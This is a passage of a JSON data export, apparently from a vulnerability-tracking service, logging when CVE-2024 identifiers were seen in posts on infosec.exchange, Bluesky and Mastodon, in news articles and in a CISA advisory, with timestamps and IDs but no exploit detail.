"b4ea882f-ff2d-41da-bb8c-b9fe27ca47b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12427", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113837386587970746", "content": "", "creation_timestamp": "2025-01-16T09:44:29.916023Z"}, {"uuid": "73a553a5-94d8-4190-8da2-4c92f9caddb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12613", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113837386603776560", "content": "", "creation_timestamp": "2025-01-16T09:44:30.209558Z"}, {"uuid": "d00d9cbe-3871-4bbb-aacb-2ccd5f385303", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12803", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfcafhps7c2k", "content": "", "creation_timestamp": "2025-01-09T08:16:04.966782Z"}, {"uuid": "eb3af1c0-037e-42b2-8de1-99877a896317", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12298", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfo3aks7t32r", "content": "", "creation_timestamp": "2025-01-14T01:15:48.257413Z"}, {"uuid": "41184437-b185-4008-84bd-5c728221e3ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12615", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113837386632522187", "content": "", "creation_timestamp": "2025-01-16T09:44:30.630125Z"}, {"uuid": "773fd0f8-7bda-4668-8eda-dbd2482988e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12805", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfcafkmnrq2a", "content": "", "creation_timestamp": "2025-01-09T08:16:08.067252Z"}, {"uuid": "3031178d-6cc3-470d-b354-61af0219875c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12204", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113807419152458754", "content": "", "creation_timestamp": "2025-01-11T02:43:23.159200Z"}, {"uuid": "f92e01e4-9255-468d-97ac-a8a8a756f601", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12211", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113821973916547863", "content": "", "creation_timestamp": "2025-01-13T16:24:51.216060Z"}, {"uuid": "16861ac2-2b5c-47ca-a0a2-ffc2ab1beec0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12084", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lft4kbqmm22q", "content": "", "creation_timestamp": "2025-01-16T01:22:27.056424Z"}, {"uuid": "d6bdeee9-7c7d-47d5-bdc2-48048a8e6a05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12614", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113837386618371588", "content": "", "creation_timestamp": "2025-01-16T09:44:30.794281Z"}, {"uuid": "69764c7b-3741-4d35-b627-3e5e9ac55399", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12806", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfcafmtpma25", "content": "", "creation_timestamp": "2025-01-09T08:16:10.484142Z"}, {"uuid": "d5bb83fb-f670-4abe-b2ce-15627e452444", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12404", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113807419166580049", "content": "", "creation_timestamp": "2025-01-11T02:43:23.489024Z"}, {"uuid": "976cc788-2ce8-41a5-b9f1-844a092afd55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfohebl7sk2u", "content": "", "creation_timestamp": "2025-01-14T04:52:39.324321Z"}, {"uuid": "0111453d-d44a-45be-9641-79605cef2901", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12472", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113807419180725614", "content": "", "creation_timestamp": "2025-01-11T02:43:23.739446Z"}, {"uuid": "b140cb50-c22d-440d-b7f4-e3b3f54ee146", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://bsky.app/profile/zen-logic.bsky.social/post/3lfsllf5ogc2h", "content": "", "creation_timestamp": "2025-01-15T20:18:51.075420Z"}, {"uuid": "aee10798-e57d-4470-8a17-0702319784a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12427", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfu2dsujkc2j", "content": "", "creation_timestamp": "2025-01-16T10:15:43.009782Z"}, {"uuid": "bb4b8099-265e-4c23-a368-2d4c38e6ab7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12297", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113831815458773296", "content": "", "creation_timestamp": "2025-01-15T10:07:41.158250Z"}, {"uuid": "79314f57-c0b6-4171-bbf9-9f0e1becdff5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12613", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfu2dvfhao2s", "content": "", "creation_timestamp": "2025-01-16T10:15:45.050240Z"}, {"uuid": "6240d782-dbdd-4496-a26b-d8c051e8209e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12614", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfu2dykdqr2f", "content": "", "creation_timestamp": "2025-01-16T10:15:48.456289Z"}, {"uuid": "81c86348-9d5b-44ee-b6cb-85b0a8b5cb6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12615", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfu2e3bgpm2r", "content": "", "creation_timestamp": "2025-01-16T10:15:51.121202Z"}, {"uuid": "f2f99d92-3498-4ccb-8481-42d1b62f47e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lfgpht4cud2x", "content": "", "creation_timestamp": "2025-01-11T02:56:29.739577Z"}, {"uuid": "b19ae580-b828-40f1-9378-aac856a7388c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/jschauma.mstdn.social.ap.brid.gy/post/3lfput2dmcmg2", "content": "", "creation_timestamp": "2025-01-14T18:26:19.279369Z"}, {"uuid": "1415a7dd-ae27-4128-912f-d3f60a3b51ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113832821149812687", "content": "", "creation_timestamp": "2025-01-15T14:23:26.703466Z"}, {"uuid": "67dd3598-cd15-4182-9bd6-59b070d408e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12505", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113807478184539528", "content": "", "creation_timestamp": "2025-01-11T02:58:23.848230Z"}, {"uuid": "53f98bfa-6d94-48a5-b752-96edf91358d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3lfpuy563s224", "content": "", "creation_timestamp": "2025-01-14T18:29:04.018600Z"}, {"uuid": "c2981ae5-6666-45de-ab4b-a135cdc4e8d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfrjuzda762f", "content": "", "creation_timestamp": "2025-01-15T10:15:46.367437Z"}, {"uuid": "810865ad-3eb3-4370-b043-7053189fbc47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12805", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfcz4luxkf2q", "content": "", "creation_timestamp": "2025-01-09T15:38:31.688046Z"}, {"uuid": "a3ef6676-9aeb-4180-ab58-102b5ce44a72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12627", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113807478200147827", "content": "", "creation_timestamp": "2025-01-11T02:58:24.267814Z"}, {"uuid": "bbb12c0c-4110-46d2-88a9-cc1192169952", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12403", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfrjv4gk2g2r", "content": "", "creation_timestamp": "2025-01-15T10:15:49.579706Z"}, {"uuid": "1ef10efa-89b1-4bd7-bda7-b7b70ae1d4f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3lfryupcewy24", "content": "", "creation_timestamp": "2025-01-15T14:44:02.686878Z"}, {"uuid": "da38ebd0-53e9-4a97-b14a-99c3716a2294", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12423", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfrjv6wbso2r", "content": "", "creation_timestamp": "2025-01-15T10:15:52.180705Z"}, {"uuid": "672e3125-f5ac-45d8-8d67-188e134743bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12803", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfcz4mtwr52q", "content": "", "creation_timestamp": "2025-01-09T15:38:35.415508Z"}, {"uuid": "7c1c5f08-f7b1-46bc-8ee3-f845d40862a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12818", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfrjvbdzkb2h", "content": "", "creation_timestamp": "2025-01-15T10:15:54.665504Z"}, {"uuid": "b6254bd8-fb59-4e24-ae86-f4a22a784993", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/secureinseconds.com/post/3lfvb3lcvqf2d", "content": "", "creation_timestamp": "2025-01-16T21:49:01.584679Z"}, {"uuid": "8a4f35c9-8efa-4cf7-8893-09bb888a09ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12569", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-016-03", "content": "", "creation_timestamp": "2025-01-16T11:00:00.000000Z"}, {"uuid": "c4374760-e5a4-4ad7-919e-f996257688db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12803", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113799182015741245", "content": "", "creation_timestamp": "2025-01-09T15:48:34.572755Z"}, {"uuid": "a9a7cb8b-4393-4ab6-b48c-2a9f6be17446", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12805", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113799182051561020", "content": "", "creation_timestamp": "2025-01-09T15:48:35.557266Z"}, {"uuid": "2fc5baf1-17a7-4826-b0d1-b84922f6a805", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12204", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfgqkix3v62m", "content": "", "creation_timestamp": "2025-01-11T03:15:54.518536Z"}, {"uuid": "416aa351-1d58-4a51-bac7-d6990dd4ff6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lf6kfwmqqo22", "content": "", "creation_timestamp": "2025-01-07T21:04:38.791414Z"}, {"uuid": "a2540be5-9676-4d28-aae2-0ae423a1d0dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113789285485490767", "content": "", "creation_timestamp": "2025-01-07T21:51:45.470434Z"}, {"uuid": "5a869bf7-640b-4807-9a02-4687bb0035d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12803", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113789285485490767", "content": "", "creation_timestamp": "2025-01-07T21:51:45.512416Z"}, {"uuid": "e4bfa49a-16ed-4b4d-8451-69bcea4486ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12805", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113789285485490767", "content": "", "creation_timestamp": "2025-01-07T21:51:45.549858Z"}, {"uuid": "d82e52e5-3757-473c-aec4-8433d440d831", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12806", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113789285485490767", "content": "", "creation_timestamp": "2025-01-07T21:51:45.587535Z"}, {"uuid": "ccb6cb7d-a580-45f1-92db-79f8490ccb22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://www.darkreading.com/cyberattacks-data-breaches/cisa-third-party-data-breach-limited-treasury-dept", "content": "", "creation_timestamp": "2025-01-07T16:20:00.000000Z"}, {"uuid": "32ca0881-f033-45f0-ade0-33a139470aa0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12112", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf7ciujp5l22", "content": "", "creation_timestamp": "2025-01-08T04:15:47.116591Z"}, {"uuid": "3dcd800e-19dc-43d9-9e27-863efb772ed8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12521", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf7ciww3sx2e", "content": "", "creation_timestamp": "2025-01-08T04:15:49.543144Z"}, {"uuid": "31f2fc05-99af-47c2-9602-7791de29f778", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12713", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf7cizlbps22", "content": "", "creation_timestamp": "2025-01-08T04:15:52.450837Z"}, {"uuid": "7f24f508-5207-4bcc-af29-02ad85186d77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12030", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113790854135598769", "content": "", "creation_timestamp": "2025-01-08T04:30:41.406498Z"}, {"uuid": "4cb24648-4723-4e01-be40-321787571d14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12205", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113790854151442414", "content": "", "creation_timestamp": "2025-01-08T04:30:41.469353Z"}, {"uuid": "95fd3644-772c-4a7f-a072-1105c63a90d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12030", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf7ftkezt22f", "content": "", "creation_timestamp": "2025-01-08T05:15:26.779698Z"}, {"uuid": "e2cdf97e-e740-48c1-8683-9e6ad7e2b7e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12205", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf7ftn3rfu2i", "content": "", "creation_timestamp": "2025-01-08T05:15:29.613357Z"}, {"uuid": "050aaea1-149a-4939-80cc-721229584b6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12713", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf7h4n5ddu2i", "content": "", "creation_timestamp": "2025-01-08T05:38:25.781362Z"}, {"uuid": "92a762ab-c5fe-4a09-a354-d0f9154e9e0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12030", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf7h4oqolg2w", "content": "", "creation_timestamp": "2025-01-08T05:38:31.848944Z"}, {"uuid": "134e6ee5-f245-482f-bf9e-46b12d441c43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12205", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf7h4ou33n2k", "content": "", "creation_timestamp": "2025-01-08T05:38:32.381824Z"}, {"uuid": "4ef0aa67-ec3e-4e4d-bdd7-6c1269f24f68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12585", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113791241188437876", "content": "", "creation_timestamp": "2025-01-08T06:09:07.009930Z"}, {"uuid": "e80d31dd-ff19-4ba3-8477-36fa1a2396e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12585", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf7j7d6sa62k", "content": "", "creation_timestamp": "2025-01-08T06:15:43.083494Z"}, {"uuid": "a0511049-2f83-4309-b299-9b5925612e5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12585", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf7khza3pj2b", "content": "", "creation_timestamp": "2025-01-08T06:38:29.073495Z"}, {"uuid": "38b03d6d-689a-42af-a8bf-25f71cb8e61d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12584", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113791376022240183", "content": "", "creation_timestamp": "2025-01-08T06:43:24.680870Z"}, {"uuid": "d288a19d-52ed-41aa-ac88-88aa2f4fd553", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12851", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113791376037522876", "content": "", "creation_timestamp": "2025-01-08T06:43:24.763824Z"}, {"uuid": "6b7d0bc8-5e60-46da-9ef1-5c45091c4a05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12852", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113791376052153686", "content": "", "creation_timestamp": "2025-01-08T06:43:25.314212Z"}, {"uuid": "b7b9b21e-4ba4-4869-98b5-4ebd0f194bee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12584", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113791390788597629", "content": "", "creation_timestamp": "2025-01-08T06:47:09.788548Z"}, {"uuid": "5808f1b4-dbc3-4cc4-8170-cb75e2cbfce5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12851", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113791390802796847", "content": "", "creation_timestamp": "2025-01-08T06:47:09.984807Z"}, {"uuid": "d8733b98-7aeb-4fa2-b459-0900e0129a21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12852", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113791390817081497", "content": "", "creation_timestamp": "2025-01-08T06:47:10.103286Z"}, {"uuid": "e7b38c31-9d9e-4056-be68-0e3ae97f93cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12584", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf7mksupyu25", "content": "", "creation_timestamp": "2025-01-08T07:15:50.064867Z"}, {"uuid": "c51269e2-71ef-4652-ab55-763707291842", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12851", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf7mkvaziy2e", "content": "", "creation_timestamp": "2025-01-08T07:15:52.459025Z"}, {"uuid": "4d21695f-672f-4058-a18d-25565c7d2cbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12852", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf7mkxrol72l", "content": "", "creation_timestamp": "2025-01-08T07:15:55.588103Z"}, {"uuid": "7283a41b-0744-4d3d-b5e7-498a41032c0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12045", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113791523838062644", "content": "", "creation_timestamp": "2025-01-08T07:20:59.765035Z"}, {"uuid": "dfdb4ef4-25bf-46ed-85e0-b4308408b8e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12045", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf7pvxjmzt2k", "content": "", "creation_timestamp": "2025-01-08T08:15:45.090058Z"}, {"uuid": "33a7fa49-10d7-41b4-9cbe-2018cfebe6ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12855", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113791755038241786", "content": "", "creation_timestamp": "2025-01-08T08:19:47.781873Z"}, {"uuid": "ed5a6ca8-dbb7-47ca-b32c-3ab1f65cc6db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12328", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113791755023463208", "content": "", "creation_timestamp": "2025-01-08T08:19:48.023858Z"}, {"uuid": "37db4796-a232-450d-b5d5-9b3107d2765d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12584", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf7rqpng3r2q", "content": "", "creation_timestamp": "2025-01-08T08:48:36.770331Z"}, {"uuid": "3f345cb6-ec0c-4c40-badd-3ab496415eae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12851", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf7rqq2cja25", "content": "", "creation_timestamp": "2025-01-08T08:48:37.891657Z"}, {"uuid": "73773e4c-3e7b-494f-96bc-33356d5c69be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12045", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf7rqqf4uz2q", "content": "", "creation_timestamp": "2025-01-08T08:48:39.368757Z"}, {"uuid": "abc061c8-5731-4498-82da-a51ed7410537", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12852", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf7rqqszhj2u", "content": "", "creation_timestamp": "2025-01-08T08:48:40.370868Z"}, {"uuid": "fd8df264-29f1-4b1f-a505-acb730c18f03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", 